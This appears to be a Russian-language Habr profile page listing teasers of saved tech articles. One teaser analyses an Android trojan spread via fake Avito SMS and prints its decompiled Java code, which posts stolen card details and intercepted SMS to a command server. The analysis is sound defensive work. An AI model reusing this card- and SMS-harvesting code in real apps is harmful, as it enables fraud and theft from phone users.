Как стать автором
Обновить
0
0

Пользователь

Отправить сообщение

Сравнительная схема кораблей из научной фантастики

Время на прочтение2 мин
Количество просмотров316K


DirkLoechel наконец-то закончил работу над самой большой в истории сравнительной схемой космических кораблей из научно-фантастических произведений: художественных фильмов, сериалов и игр. Star Trek, «Звёздные войны», EVE Online и многие другие (полный список под катом). Все культовые корабли — они тут. Открывайте оригинал изображения 4268 x 5690 пикселов — и погружайтесь.
Читать дальше →

Выжимаем максимум производительности из клавиатуры

Время на прочтение7 мин
Количество просмотров255K
Чем вы занимаетесь большую часть своего рабочего дня? Скорее всего, создаёте или редактируете информацию. И у многих из вас эта информация — тексты: программный код, конфигурационные файлы, письма, строчки чатов и всё тому подобное.
Хотите создавать их быстрее и при этом расходовать на ввод текста меньше внимания? Я расскажу вам несколько эффективных способов увеличить производительность при работе с главным инструментом в этом деле — QWERTY-клавиатурой.

Сомневаетесь, стоит ли тратить на это время? Вспомните — за 30 лет в мире ПК изменилось всё, но клавиатура осталась такой же. Альтернативные способы ввода текста — распознавание речи, письма, жестов, «птичьих» языков (привет, граффити!), аккордные клавиатуры — не сработали и не стали популярными — и, вероятнее всего, ещё очень долго вы будете всё так же вводить тексты с клавиатуры.
Читать дальше →

Консоль в Windows — никому не нужна?

Время на прочтение4 мин
Количество просмотров80K
Очень часто приходилось слышать такое от людей, которые много времени проводят за администрированием и другими IT-забавами.

Я, за не очень долгий опыт реального администрирования пришел к обратному выводу. В консоли (командной строке) В Windows можно выполнять очень много разных операций, которые стандартными возможностями не выполняются или выполняются некорректно/неудобно/долго (нужное подчеркнуть)

Совсем недавно где-то на Хабре промелькнуло высказывание из серии «Не думал, что консоль в Виндах что-то может. Хотелось бы узнать об этом побольше».

Вот так и возникло желание написать небольшую статью про основные возможности консоли.
Читать дальше →

Python на Assembler (Tasm)

Время на прочтение3 мин
Количество просмотров29K
Сегодня напишем в текстовом режиме с использованием прерываний BIOS и DOS змейку на Assembler. Для этого нужно знать основы, уметь ассемблировать (Tasm) и компоновать (Tlink) код.

Для начала напишем основу — змейку, которая перемещается в одном направлении по игровому полю. Змейка будет состоять из символа "*", координаты каждого символа хранятся в памяти.


Читать дальше →

Про создание платформера на Unity. Часть вторая, звездная

Время на прочтение4 мин
Количество просмотров102K
Привет, Хабр!

Я, как и обещал, продолжаю делиться с вами знаниями, приобретенными в процессе освоения 2D-режима Unity. От начинающего, так сказать, начинающим. Систематизирую, улучшаю и прогрессирую вместе с вами. Сегодня мы добавим к содержимому первой статьи управление камерой, сбор бонусов и первый способ умереть в игре. Если вам, как и мне, не терпится приступить, то добро пожаловать под кат.

И да, гифок там еще больше, чем в прошлый раз.



Читать дальше →

String enum — строковые enum

Время на прочтение11 мин
Количество просмотров55K
Я работаю в игровой сфере. В связи с этим постоянно приходится сталкиваться со всевозможными конфигами.
Каждый раз, когда в конфигах должно быть некое перечисление, возникает дилема. С одной стороны, хочется читаемых конфигов, с другой — быстрого парсинга и быстрого обращения по этому типу.
Что хочется:

"type":
[
	{
		"id": 1,
		"type": "one",
	},
	{
		"id": 2,
		"type": "two",
	},
	{
		"id": 6,
		"type": "three",
	}
]


Но в тоже время в кодe хочется использовать структуры типа:

enum Type
{
	one,
	two,
	three
};



Далее в теле статьи будут приведены несколько вариантов решения.

Читать дальше →

Анализ рендеринга через Skia Debugger: как можно найти самые дорогие для отрисовки элементы

Время на прочтение4 мин
Количество просмотров23K
Доброго дня, недавно я решал проблему притормаживания скролла на страницах Почты Mail.Ru. Особенно эта проблема была заметна на retina-дисплеях. После простого анализа я пришел к выводу, что одна из основных проблем — это медленная отрисовка страницы.

В этой статье я расскажу, как можно применять инструмент Skia Debugger, входящий в набор инструментов Chrome, для пошагового анализа процесса отрисовки страницы, а также как с его помощью можно получить данные о том, сколько времени занимает отрисовка каждого элемента.

Как и многие подобные проблемы оптимизации, данную проблему можно решить множеством способов. Я взялся за оптимизацию рендеринга, так как на нее затрачивалось значительное количество времени. Тем самым, я достаточно быстро смог бы получить прирост производительности и, соответственно, улучшить плавность скролла, ускорив отрисовку.


Читать дальше →

Cubietruck. Дорожный мини сервер. Часть 3

Время на прочтение2 мин
Количество просмотров19K

Настройка модема HUAWEI E3372


Устанавливаем пакет usb-switchmodem
sudo apt-get install usb-modeswitch

Подключаем модем и смотрим с помощью команды, какая сетевая карта появится после подключения:
ifconfig -a

Читать дальше →

Прием КВ на RTL-SDR, бесплатно без конвертера

Время на прочтение2 мин
Количество просмотров135K


После прочтения статьи о дешевом SDR из ТВ-тюнера я сразу же кинулся заказывать донгл на R820T. Но всё омрачал факт невозможности приема на коротких волнах, ибо в моем городе на УКВ нет ничего интересного: пара-тройка такси, скорая и изредка появляющиеся радиолюбители. После недолгих поисков я наткнулся на несколько методов «раскрытия» тюнера на 0-15МГц без использования относительно недешевых upconverter-ов.
Читать дальше →

Как я позорно деактивировал ботнет

Время на прочтение10 мин
Количество просмотров191K
image

Разместил я, ничего не подозревая, объявление на avito.ru. Сколько раз туда ходил! Но на этот раз как-то не удалось…
Я давно был уверен, что многие нехорошие люди парсят телефонные номера с этого сайта, так что такси, строительные материалы, скорая компьютерная помощь, «8-800-555-3-555 — проще позвонить, чем у кого-то занимать» и приглашения на битву экстрасенсов для меня уже привычное дело, но на этот раз было нечто новое.

Приходит мне СМС-сообщение с текстом: «Зaинтерсoвaлo вaше oбьявление кaк нaсчет oбменa нa http://…». Прямо вот так, с пропущенным знаком препинания и ошибками. А по ссылке качается avito.apk. Интересно.

Исследование APK


Ну, подумал я, надо бы глянуть, что этот APK делает. Результат привычной для меня связки из apktool + dex2jar + jd-gui меня не удовлетворил, т.к. не было видно часть классов деревом, хотя доступ по ссылкам к ним получить было можно. Решил я воспользоваться новомодными онлайн-sandbox'ами — и декомпилированный код получил, и информацию, и pcap-файл со сдампленным трафиком. Как оказалось, этот файл загружали до меня, поэтому в мои руки попал более ранний анализ, что было достаточно полезно.

Итак, что умеет этот троян:
  • delivery&&& — рассылка СМС-сообщений на номера из телефонной книги с заданным текстом
  • sent&&& — отправка заданных СМС-сообщений с сервера
  • rent&&& — перехват всех СМС-сообщений и отправка их на сервер
  • sms_stop&&& — отмена перехвата СМС-сообщений
  • ussd&&& — USSD-запрос
  • call_1&&& — установка и отмена безусловной переадресации

Немного кода из моих заметок
protected HttpRequestBase a()
    {
        try
        {
            HttpPost httppost = new HttpPost(d());
            ArrayList arraylist = new ArrayList();
            arraylist.add(new BasicNameValuePair("bot_id", com.avito.a.c.a(c())));
            arraylist.add(new BasicNameValuePair("number", b));
            arraylist.add(new BasicNameValuePair("month", Integer.toString(c.intValue())));
            arraylist.add(new BasicNameValuePair("year", Integer.toString(d.intValue())));
            arraylist.add(new BasicNameValuePair("cvc", Integer.toString(e.intValue())));
            httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
            return httppost;
        }
        catch(UnsupportedEncodingException unsupportedencodingexception)
        {
            unsupportedencodingexception.printStackTrace();
        }
        return null;
    }

    protected String d()
    {
        return new String((new StringBuilder()).append(a).append("set_card.php").toString());
    }






    protected HttpRequestBase a()
    {
        try
        {
            HttpPost httppost = new HttpPost(d());
            ArrayList arraylist = new ArrayList();
            arraylist.add(new BasicNameValuePair("id", com.avito.a.c.a(b)));
            arraylist.add(new BasicNameValuePair("info", com.avito.a.c.b(b)));
            httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
            return httppost;
        }
        catch(UnsupportedEncodingException unsupportedencodingexception)
        {
            unsupportedencodingexception.printStackTrace();
        }
        return null;
    }

    protected String d()
    {
        return new String((new StringBuilder()).append(a).append("get.php").toString());
    }




    protected HttpRequestBase a()
    {
        try
        {
            JSONObject jsonobject = new JSONObject();
            jsonobject.put("text", c);
            jsonobject.put("number", d);
            jsonobject.put("date", e);
            HttpPost httppost = new HttpPost(d());
            ArrayList arraylist = new ArrayList();
            arraylist.add(new BasicNameValuePair("bot_id", com.avito.a.c.a(b)));
            arraylist.add(new BasicNameValuePair("sms", jsonobject.toString()));
            httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
            return httppost;
        }
        catch(UnsupportedEncodingException unsupportedencodingexception)
        {
            unsupportedencodingexception.printStackTrace();
        }
        catch(JSONException jsonexception)
        {
            jsonexception.printStackTrace();
        }
        return null;
    }

    protected String d()
    {
        return new String((new StringBuilder()).append(a).append("load_sms.php").toString());


Помимо этих команд, троян отключает Wifi Sleep, пытается получить доступ к зашифрованному хранилищу и установить себя в качестве Android-администратора (естественно, при этом используются стандартные диалоги ОС, где можно отменить данное действие). Код трояна не обфусцирован, некоторые строки закодированы base64. Вообще непонятно, что это за троян такой. То ли его собирали копипастой, то ли он основан на каком-то другом трояне, то ли еще что, но в нем имеются строки на португальском, немецком, английском, Ubuntu-шрифты, форма для перехвата данных из приложения немецкого банка Commerzbank, значок какой-то игры и флеш-плеера.
Читать дальше →

Локальная сеть между домами с помощью WiFI моста

Время на прочтение4 мин
Количество просмотров55K
Появилась необходимость сделать локальную сеть между двумя узлами, удаленными друг от друга на расстоянии 1.15 км. По скольку есть опыт оказания помощи другу и подключения его частного дома к FTTB сети соседней многоэтажки через роутеры производства Mikrotik, было решено на них и реализовать подключение. Выбор пал на RouterBOARD SXT Lite5 (прошу не считать за рекламу, но это лучший выбор за эту цену).

Характеристики и процесс монтажа, в т.ч. видео можно найти на сайте Mikrotik или дилеров по России. Пока что собран тестовый стенд. Параметры стенда- расстояние между точками 1.15 км по Яндекс картам. Одна точка установлена на балконе 8 этажа, вторая в квартире, расположенной так же 8 этаже, установлены на штативы для фото оборудования.
Схема, данные и настройки

Проектирование интернет-магазина: личный кабинет, корзина, доставка-оплата, рассылка и другое

Время на прочтение16 мин
Количество просмотров149K
Очередная статья большого обзора функционала интернет-магазинов. Сегодня я расскажу про личный кабинет, избранное, интеграцию с социальными сетями, корзину, доставку-оплату, рассылку и уведомления. Всего, вместе с этой частью статьи, я рассмотрел около 50 модулей современных интернет-магазинов.

Прошлые статьи серии можно найти тут:


«Серьезное проектирование серьезного магазина. Часть 1. Исследования»
«Серьезное проектирование серьезного магазина. Часть 2. Модули интернет-магазина»
«Серьезное проектирование серьезного магазина. Часть 3. Карточка товара и не только»
«Серьезное проектирование серьезного магазина. Часть 4. Субституты, комплементы, сравнение и другие инструменты увеличения конверсии»

Регистрация / личный кабинет


Для любого интернет-магазина важно, чтобы пользователи регистрировались на сайте и оставляли о себе много информации. Это позволяет увеличить средний чек и сильно повышает шансы интернет-магазина превратить разового покупателя в постоянного.

Сама регистрация должна быть очень простой, чтобы не стать барьером для пользователя, а интернет-магазин должен стимулировать пользователей зарегистрироваться. Некоторые крупные интернет-магазины запрещают совершать покупки незарегистрированным пользователям – это довольно спорный способ заставить зарегистрироваться, но он показывает важность регистрации на сайте. Мотивация зарегистрироваться может быть самой разной: специальная скидка для зарегистрированных пользователей, доступ к любым акциям только для зарегистрированных, особые условия зарегистрированным и т.д.

Рис. 1. Личный кабинет.

image

Читать дальше →

Плюрализм мнений через подставной IP-адрес

Время на прочтение2 мин
Количество просмотров8.4K
Все кругом чокнулись на политике. В соцсетях, блогах, новостных лентах – политика на политике и политикой погоняет. Даже тот, кто никогда ничем, кроме порносайтов и игр, не интересовался, и тот постепенно оказывается вовлечен в политику. Хотя бы как сторонний наблюдатель.
Читать дальше →

Полезные ресурсы для гейм-дизайнера

Время на прочтение2 мин
Количество просмотров70K


Доброго времени суток читателям. Предоставляю вашему вниманию список ресурсов и книг, которые могут быть полезны гейм-дизайнеру или любому, кто интересуется данной тематикой. Сразу скажу, что почти все ресурсы на английском языке, т.к. русских аналогов весьма мало, а полезных и того меньше.
Читать дальше →

Создание аудиоплагинов, часть 15

Время на прочтение11 мин
Количество просмотров7.1K
Все посты серии:
Часть 1. Введение и настройка
Часть 2. Изучение кода
Часть 3. VST и AU
Часть 4. Цифровой дисторшн
Часть 5. Пресеты и GUI
Часть 6. Синтез сигналов
Часть 7. Получение MIDI сообщений
Часть 8. Виртуальная клавиатура
Часть 9. Огибающие
Часть 10. Доработка GUI
Часть 11. Фильтр
Часть 12. Низкочастотный осциллятор
Часть 13. Редизайн
Часть 14. Полифония 1
Часть 15. Полифония 2
Часть 16. Антиалиасинг


В этом посте мы закончим работу над полифонией: причешем код и приведем GUI в рабочее состояние.


Читать дальше →

Marlight: лампы для программистов

Время на прочтение12 мин
Количество просмотров93K
Marlight — это светодиодная RGBW лампочка, управляемая по радиоканалу с частотой 2.4 ГГц. Она может управляться как с пульта, который непосредственно передает на частоте лампочки, так и с помощью роутера, который подключается в домашней Wi-Fi. С помощью роутера, который транслирует команды, поступающие к нему по сети в радиопакет для лампы, лампами можно управлять из мобильного приложения, компьютера или домашнего сервера.

image

Я рассказывал раньше о системе для умного дома — NooLite(1, 2), но самый главный ее недостаток для обычных пользователей это то, что ее надо устанавливать с применением клемм, паяльника, с разрезанием проводки и так далее. Обратной стороной является высокая возможность настроить все по своему вкусу, но это не всегда необходимо. В этот раз я расскажу о системе, которая обладает похожими функциями, но рассчитана на обычных людей — все что надо сделать для ее установки, это просто ввернуть лампочку в патрон.
Читать дальше →

Собеседование на должность JavaScript разработчика

Время на прочтение4 мин
Количество просмотров288K


Недавно прочитал неплохой пост на тему поиска работы QA и подумал, что похожий пост был бы полезен для JavaScript разработчиков. В конечном счёте, веб движется вперед семимильными шагами, и соискателей на позицию JavaScript программиста хоть отбавляй (разумеется, хороших всегда меньше).
Читать дальше →

Создание аудиоплагинов, часть 13

Время на прочтение13 мин
Количество просмотров7.7K
Все посты серии:
Часть 1. Введение и настройка
Часть 2. Изучение кода
Часть 3. VST и AU
Часть 4. Цифровой дисторшн
Часть 5. Пресеты и GUI
Часть 6. Синтез сигналов
Часть 7. Получение MIDI сообщений
Часть 8. Виртуальная клавиатура
Часть 9. Огибающие
Часть 10. Доработка GUI
Часть 11. Фильтр
Часть 12. Низкочастотный осциллятор
Часть 13. Редизайн
Часть 14. Полифония 1
Часть 15. Полифония 2
Часть 16. Антиалиасинг



Мы уже создали все компоненты классического субтрактивного синтезатора, и теперь, имея четкое понимание структуры, займемся редизайном.

Наш плагин будет полифоническим синтезатором под названием SpaceBass (КасмичискийБас):


Читать дальше →

Variadic Templates, Low Coupling и немного размышлений

Время на прочтение16 мин
Количество просмотров13K
Каждый программист, наверняка, сталкивался с ситуацией, когда в приложении имеется набор классов (возможно, сервисных), которые используются во многих участках программы. И вроде бы всё ничего, но как только появлялась необходимость менять эти классы, это могло негативно влиять и на вызывающий код. Да, как и указано в заголовке, речь в статье пойдет о том самом паттерне «Low Coupling».



Проблема не нова и давно известна. Путей ее решения может быть несколько, все зависит от предметной области. Я предлагаю читателю возможное решение, которое я нашел, занимаясь прикладной задачей. Как идеалиста, найденное решение меня устроило не полностью. Так же, оно было спроектировано в бОльшей степени от желания воспользоваться новыми возможностями стандарта C++11. Естественно, все написанное подлежит обсуждению, а возможно, кто-то предложит более стройный вариант.
Читать дальше

Создание игрового персонажа

Время на прочтение5 мин
Количество просмотров166K


В данной статье описывается процесс создания персонажа для игрового движка. Статья в первую очередь адресована тем, кто интересуется процессом разработки next gen моделей, а также всем, кто хочет заглянуть за кулисы современного игродела. Персонажа я делал для портфолио, на персонажей переключился совсем недавно, можно сказать, что это первый доведенный до ума персонаж. Поскольку данная работа — мой личный проект, то я установил ограничение треугольников в 20 000, текстуры в 2048*2048, работа планировалась под PBR.
Читать дальше →

Информация

В рейтинге
Не участвует
Зарегистрирован
Активность